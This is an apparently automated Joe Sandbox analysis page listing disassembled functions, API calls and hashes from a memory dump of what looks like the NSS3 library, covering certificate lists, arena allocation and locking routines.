Part of subcall function 6C6B1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C6B1238
Part of subcall function 6C6B1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C6588A4,00000000,00000000), ref: 6C6B124B
Part of subcall function 6C6B1200: PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0,00000000,00000000,00000000,?,6C6588A4,00000000,00000000), ref: 6C6B125D
Part of subcall function 6C6B1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C6B126F
Part of subcall function 6C6B1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C6B1280
Part of subcall function 6C6B1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C6B128E
Part of subcall function 6C6B1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C6B129A
Part of subcall function 6C6B1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C6B12A1

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: a51d854b2c2187627cc4bf75380a88774b15328c879bb4e2fa4f2b81387d0eaa
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: F621D4B1E003455BE700CF549D44BAA3764AF9630CF111269DD087B752F7B1E69983AA

Function 6C67ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C67ACC2

Part of subcall function 6C652F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C652F0A
Part of subcall function 6C652F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C652F1D

Part of subcall function 6C652AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C650A1B,00000000), ref: 6C652AF0
Part of subcall function 6C652AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C652B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C67AD5E

Part of subcall function 6C6957D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C65B41E,00000000,00000000,?,00000000,?,6C65B41E,00000000,00000000,00000001,?), ref: 6C6957E0
Part of subcall function 6C6957D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C695843

CERT_DestroyCertList.NSS3(?), ref: 6C67AD36

Part of subcall function 6C652F50: CERT_DestroyCertificate.NSS3(?), ref: 6C652F65
Part of subcall function 6C652F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C652F83

free.MOZGLUE(?), ref: 6C67AD4F

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: c316fa99c2415fe033c095782c5021dee481ffc4e23ef2823e67bd9a7e5904a3
Instruction ID: 1291df39e8fb8ef07b23470c6e9bc4e18b6918a77df3a0da5a3ecec13f47f094
Opcode Fuzzy Hash: c316fa99c2415fe033c095782c5021dee481ffc4e23ef2823e67bd9a7e5904a3
Instruction Fuzzy Hash: 9821A4B1D002048BEB20DFA4D9055EE77B4AF05248F555469D8057B701F731EA55CBB9

Function 6C6A3C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6A3C9E
EnterCriticalSection.KERNEL32(?), ref: 6C6A3CAE
PR_Unlock.NSS3(?), ref: 6C6A3CEA
PR_SetError.NSS3(00000000,00000000), ref: 6C6A3D02

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: eeafdf77f9c58dfbf84d2afb9d765af74ca40c38df2b094f0118fd0564eb16da
Instruction ID: de8aee1d72a422ec2ef46b8842cf72c5222f5ebe1cf775f2137b5d49cc9c3c51
Opcode Fuzzy Hash: eeafdf77f9c58dfbf84d2afb9d765af74ca40c38df2b094f0118fd0564eb16da
Instruction Fuzzy Hash: 3411B475A00204AFD700AF64DC48E9A37B9EF0A368F154074ED058B712E731ED55CBE5

Function 6C6AECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C6AF0AD,6C6AF150,?,6C6AF150,?,?,?), ref: 6C6AECBA

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C6AECD1

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C6AED02

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C6AED5A

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 76dde72ef65d2d73a85da6562e265c10ea3bb2b4ad39952e19a0229eff78b9b9
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: D321D4B1A007425BE700DF25D944B52B7E4BFA5308F15C215E81C87661FB70E9A5C7E8

Function 6C6DEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C6C7FFA,?,6C6C9767,?,8B7874C0,0000A48E), ref: 6C6DEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C6C7FFA,?,6C6C9767,?,8B7874C0,0000A48E), ref: 6C6DEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C6C7FFA,?,6C6C9767,?,8B7874C0,0000A48E), ref: 6C6DEE14

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

memcpy.VCRUNTIME140(?,?,6C6C9767,00000000,00000000,6C6C7FFA,?,6C6C9767,?,8B7874C0,0000A48E), ref: 6C6DEE33

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 8ba0d05e806e6b6c8851631dd08f162fd594bb2f7d2f84c5f37d785d5b27f301
Instruction ID: 6366d671b69e6cc108f5464cd7262ec5bf8ed3184d4b0d7b75badfa1f2ea736e
Opcode Fuzzy Hash: 8ba0d05e806e6b6c8851631dd08f162fd594bb2f7d2f84c5f37d785d5b27f301
Instruction Fuzzy Hash: 3611C2B1A00707ABEB209EA5DC84B46F3A8FF0435DF224531E919C2A00E731F465CBE9

Function 6C65DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C6706A0: TlsGetValue.KERNEL32 ref: 6C6706C2
Part of subcall function 6C6706A0: EnterCriticalSection.KERNEL32(?), ref: 6C6706D6
Part of subcall function 6C6706A0: PR_Unlock.NSS3 ref: 6C6706EB

CERT_NewCertList.NSS3 ref: 6C65DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6C65DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C65DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65E029

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 410475219db5b1573e2d62144da0d32e0a5d0e09c4c224fe599cf635f4179d38
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 7F112F71A042066BDF101EA99C44BEB76B8EB8535CFA40534E918C7740F73BC83597E9

Function 6C678DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C678DE7
EnterCriticalSection.KERNEL32 ref: 6C678DFC
PR_Unlock.NSS3 ref: 6C678E2D
PR_SetError.NSS3 ref: 6C678E49

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: a5fec77f60fd7b27d5c6413465cdb604dad906b0c8a935b001935ce7cf77b113
Instruction ID: 1f2f05af8d7cdf630b08cf4df1927fd49a393801eb20a4114f724b09bb2259b6
Opcode Fuzzy Hash: a5fec77f60fd7b27d5c6413465cdb604dad906b0c8a935b001935ce7cf77b113
Instruction Fuzzy Hash: 911191716056019FD700AF78D4485A9BBF4FF09354F014969DC88D7700E730E895CBDA

Function 6C6FAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C6E5F17,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6FAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C6E5F17,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6FACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6FACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6FACDB

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 94bacba1003486e81ad315087874fecb84fc0032ded1ab4ee9924434d9633d88
Instruction ID: 946dbee206ebbe9353e9fd703242d2c833e9dd608ba5f2ff18a69ec3cb070919
Opcode Fuzzy Hash: 94bacba1003486e81ad315087874fecb84fc0032ded1ab4ee9924434d9633d88
Instruction Fuzzy Hash: F6015EB5701B029BEB50DF69E908757B7E8BF00759B104839E86AC3E11E731F055CB95

Function 6C661DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6C661DFB

Part of subcall function 6C6595B0: TlsGetValue.KERNEL32(00000000,?,6C6700D2,00000000), ref: 6C6595D2
Part of subcall function 6C6595B0: EnterCriticalSection.KERNEL32(?,?,?,6C6700D2,00000000), ref: 6C6595E7
Part of subcall function 6C6595B0: PR_Unlock.NSS3(?,?,?,?,6C6700D2,00000000), ref: 6C659605

PR_EnterMonitor.NSS3 ref: 6C661E09

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

Part of subcall function 6C65E190: PR_EnterMonitor.NSS3(?,?,6C65E175), ref: 6C65E19C
Part of subcall function 6C65E190: PR_EnterMonitor.NSS3(6C65E175), ref: 6C65E1AA
Part of subcall function 6C65E190: PR_ExitMonitor.NSS3 ref: 6C65E208
Part of subcall function 6C65E190: PL_HashTableRemove.NSS3(?), ref: 6C65E219
Part of subcall function 6C65E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C65E231
Part of subcall function 6C65E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C65E249
Part of subcall function 6C65E190: PR_ExitMonitor.NSS3 ref: 6C65E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C661E37
PR_ExitMonitor.NSS3 ref: 6C661E4A

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: 407bb42155e1bed84df560cc32d0f4947bc0f7eccef4f3f1bcf1965a347793b6
Instruction ID: 336d6f5134f631bd6db140d43f6d62b7f6c21a30899e0cc9e51dc83962851440
Opcode Fuzzy Hash: 407bb42155e1bed84df560cc32d0f4947bc0f7eccef4f3f1bcf1965a347793b6
Instruction Fuzzy Hash: D0018FB1B0415197EB105F6AED08F4677A4AB52B48F240031E91997F91E731E826CB9E

Function 6C661D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C661D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C661D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6C661D9C
free.MOZGLUE(00000000), ref: 6C661DB8

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: e3b490690e3787221c4fdd208a72fb20d77e7eb2557f0fc878846638fc170c36
Instruction ID: 291279245eed0e5d3d0beaf54ecba8c835d70e7e17d352a5be8e1186c36a2266
Opcode Fuzzy Hash: e3b490690e3787221c4fdd208a72fb20d77e7eb2557f0fc878846638fc170c36
Instruction Fuzzy Hash: EEF0F9F260121067FB201F5BEC41B8736D8AB81798F100635ED1997F40D671E40482EF

Function 6C6AFD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C659003,?), ref: 6C6AFD91

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

PORT_Alloc_Util.NSS3(A4686C6B,?), ref: 6C6AFDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686C6B,?,?), ref: 6C6AFDC4
free.MOZGLUE(00000000,?,?), ref: 6C6AFDD1

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: e33a47ee9181acbbf2bd5c46cba1eb7b4274f36b64e72e88fb32ecd3ecb28cb6
Instruction ID: f66672d40333ece326dddc6aeec6d2846073debf6e95477de6f7f5a582ed189d
Opcode Fuzzy Hash: e33a47ee9181acbbf2bd5c46cba1eb7b4274f36b64e72e88fb32ecd3ecb28cb6
Instruction Fuzzy Hash: C5F0C8F16022026BEF015B95DD80927BBD8EF45399B148074ED098AB01E731DC16C7EB

Function 6C76CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C76CC61
free.MOZGLUE ref: 6C76CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C76CC80
free.MOZGLUE(?), ref: 6C76CC87

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: b357d630eb135e3d4e1088945e24d0e385ea7fa21a82075120949cfa13205548
Instruction ID: b62cb622932d6d95cf8f28def52c6460da53ad28260737f1e9b06ffa0cecdd7c
Opcode Fuzzy Hash: b357d630eb135e3d4e1088945e24d0e385ea7fa21a82075120949cfa13205548
Instruction Fuzzy Hash: 82E03076700608ABCB10EFA8DC4488A77ACEE492723150565E691C3700D232F905CBA1

Function 6C649DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6C649E1F

Part of subcall function 6C6013C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C5D2352,?,00000000,?,?), ref: 6C601413
Part of subcall function 6C6013C0: memcpy.VCRUNTIME140(00000000,R#]l,00000002,?,?,?,?,6C5D2352,?,00000000,?,?), ref: 6C6014C0

Strings

ESCAPE expression must be a single character, xrefs: 6C649F78
LIKE or GLOB pattern too complex, xrefs: 6C64A006

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: fca0e4fcada1f7f83b2f8fdf1c96becc6ebc3b6829f3596cca71fe925e19985c
Instruction ID: 6daa736bfc3cf47b36914c0c59b09f3e55145e153307c15362afad1d62db551a
Opcode Fuzzy Hash: fca0e4fcada1f7f83b2f8fdf1c96becc6ebc3b6829f3596cca71fe925e19985c
Instruction Fuzzy Hash: F1812B70A442558BD744CF29C2807EAB7F6AF8532CF28C659D8A98BB81D736D847C784

Function 6C6A4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6A4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C6A4DE6

Strings

%d.%d, xrefs: 6C6A4DDE

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
